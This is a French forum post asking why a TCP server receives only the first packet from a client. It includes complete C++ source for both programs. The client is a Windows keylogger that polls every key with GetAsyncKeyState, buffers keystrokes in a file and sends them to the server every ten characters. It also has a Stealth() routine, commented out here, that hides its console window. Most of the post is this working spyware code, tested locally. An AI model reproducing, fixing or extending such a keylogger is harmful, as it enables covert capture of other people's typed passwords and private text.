Bonjour,
J'ai un problème concernant mon serveur qui ne veut pas receptionner plusieurs paquet TCP.
En effet, j'ai deux programmes que j'ai testé en local. L'un fait office de serveur et l'autre de client.
Le client : C'est un keylogger qui envoie les touches tapés au clavier au serveur (pour les test j'ai limité la taille avec l'envoie de paquet tous les 10 octets tapé au clavier, donc chaque fois que l'utilisateur tape 10 touches de son claviers ou souris.
Le serveur : Il receptionne les paquets du client et l'enregistre dans un fichier.
Lorsque je lance le serveur puis le client, il n'ya aucun probleme pour le premier paquet : le serveur réussit a le réceptionner et l'enregistrer dans un fichier. Seulement après une premiere itération réussit, les prochaines ne veulent pas receptionner les prochains paquets envoyés.
J'ai essayé le debogger sur visual studio 2015 et apres une nouvelle itération le serveur reste bloqué sur la ligne suivante :
if (listener.accept(*socket) == sf::Socket::Done) { // en attente d'une connexion d'un client
Je n'ai aucune idée du pourquoi il ne peut pas continuer. Je vous balance le code, je vous préviens c'est chiant à lire car je n'ai pas utilisé la programmation modulaire mais j'espère que vous vous focaliserez sur la partie serveur car le client à l'air de bien fonctionner.
Le code côté serveur :
#include <SFML/Graphics.hpp>
#include <SFML\Network.hpp>
#include <stdio.h>
#include <iostream>
#include <stdlib.h>
#include <fstream>
using namespace std;
int main() {
ofstream file("keylogger.txt", ios::app); // fichier pour ecrire ce qui a été enregistrer par le keylogger
sf::IpAddress ip = sf::IpAddress::getLocalAddress(); // mon adresse LAN
sf::TcpListener listener; // server en ecoute
bool server = false;
unsigned short port; // le port
do {
cout << " Quelle port voulez vous utiliser avec l'etat <En ecoute> ?" << endl;
cin >> port;
if (listener.listen(port) != sf::Socket::Done)
{
cerr << "Probleme de connection sur le port " << port << " ." << endl;
}
else {
cout << "Le serveur est en ecoute sur le port " << port << "." << endl;
server = true;
}
} while (!server == true); // il faut choisir un port ouvert pour le serveur
while (server) {
string ligne; // recupere le contenu des paquets
sf::TcpSocket *socket = new sf::TcpSocket;
if (listener.accept(*socket) == sf::Socket::Done) { // en attente d'une connexion d'un client
cout << " Nouveau client avec pour adresse ip : " << socket->getRemoteAddress() << endl;
sf::Packet packetreceive;
if (socket->receive(packetreceive) == sf::Socket::Done) { // si on recoit un paquet d'un client
if (packetreceive >> ligne) {
cout << "Reception du paquet..." << endl;
cout << "Contenu du paquet : " << endl;
cout << ligne << endl;
}
delete socket;
if (file) { //ecrit dans le fichier pour sauvegarder
file << ligne;
}
file.close(); // ferme fichier
}
}
}
return 0;
}
le code côté client :
#include <fstream>
#include <Windows.h>
#include <iostream>
#include <stdlib.h>
#include <SFML\Network.hpp>
using namespace std;
size_t sizeFile() {
size_t size;
ifstream file("keyloggerWriting.txt");
if (file) {
file.seekg(0, std::ios_base::end);
size = file.tellg();
return size;
}
else {
cerr << "Probleme d'ouverture du fichier dans la fonction sizeFile" << endl;
}
}
void lecture_fichier(string &ligne) {
ifstream file("keyloggerWriting.txt");
string contenu;
if (file) {
while (getline(file,contenu)) {
ligne += contenu;
}
file.close();
}
else {
cerr << "Problème d'ouverture du fichier dans la fonction lecture_fichier" << endl;
}
}
void creer_fichier() {
ofstream file("keyloggerWriting.txt");
if (file) {
cout << "Nouveau fichier créer" << endl;
}
else {
cerr << "Probleme de creation de fichier dans la fonction creer_fichier" << endl;
}
}
void ecrase_fichier() {
if (remove("keyloggerWriting.txt") == 0) {
cout << "fichier effacer" << endl;
creer_fichier();
}
else
cout << "Fichier introuvable car pas creer dans fonction ecrase_fichier" << endl;
}
void clean_buff()
{
int c;
do {
c = getchar();
} while (c != '\n' && c != EOF);
}
void writeData(char text) {
ofstream file("keyloggerWriting.txt",ios::app);
if (file) {
file << text;
file.close();
}
else {
cerr << "erreur lors de l'ouverture dans la fonction writeData" << endl;
}
}
void Stealth() {
HWND window;
AllocConsole();
window = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(window, 0);
}
int main() {
ofstream file("keyloggerWriting.txt");
if (file) {
cout << "creation du fichier keyloggerWriting.txt" << endl;
file.close();
}
sf::Socket::Status statut;
int port;
cout << "Quel port utilisez vous ?" << endl;
cin >> port; //
char i; // permet de lire touche clavier
bool client = false; // boucle
sf::TcpSocket *socket = new sf::TcpSocket(); // creation socket
sf::IpAddress ip = sf::IpAddress::getLocalAddress(); // adresse LAN
cout << "Mon adresse local est : " << ip << endl;
statut = socket->connect(ip, port);
if (statut != sf::Socket::Done) {
cerr << "Probleme connexion socket sur le port " << port << " ." << endl;
}
else {
client = true;
cout << " Vous pouvez taper des touches aux claviers pour que le keylogger enregistre et envoie au serveur" << endl;
//Stealth(); Cette fonction permet de cacher l'écran standard
}
while (client) {
for (i = 8; i <= 255; i++) { // regarde toutes les touches du claviers
if (GetAsyncKeyState(i) == -32767) {
writeData(i); // ecrit dans le fichier keylogger la touche enregistré
}
if (sizeFile() == 10) { // ce if permet d'envoyer un paquet tous les 10 caracteres tapé au clavier
string ligne = "";
sf::Packet *packetsend = new sf::Packet;
lecture_fichier(ligne); // recupere les lignes du fichiers
cout << "Taille du fichier : " << sizeFile() << " octets." << endl;
cout << " Tentative d'envoie du contenu suivant : " << ligne << endl;
*packetsend << ligne;
if (socket->send(*packetsend) != sf::Socket::Done) {
cout << " Impossible d'envoyer le contenu." << endl;
}
ecrase_fichier();
}
}
}
return 0;
}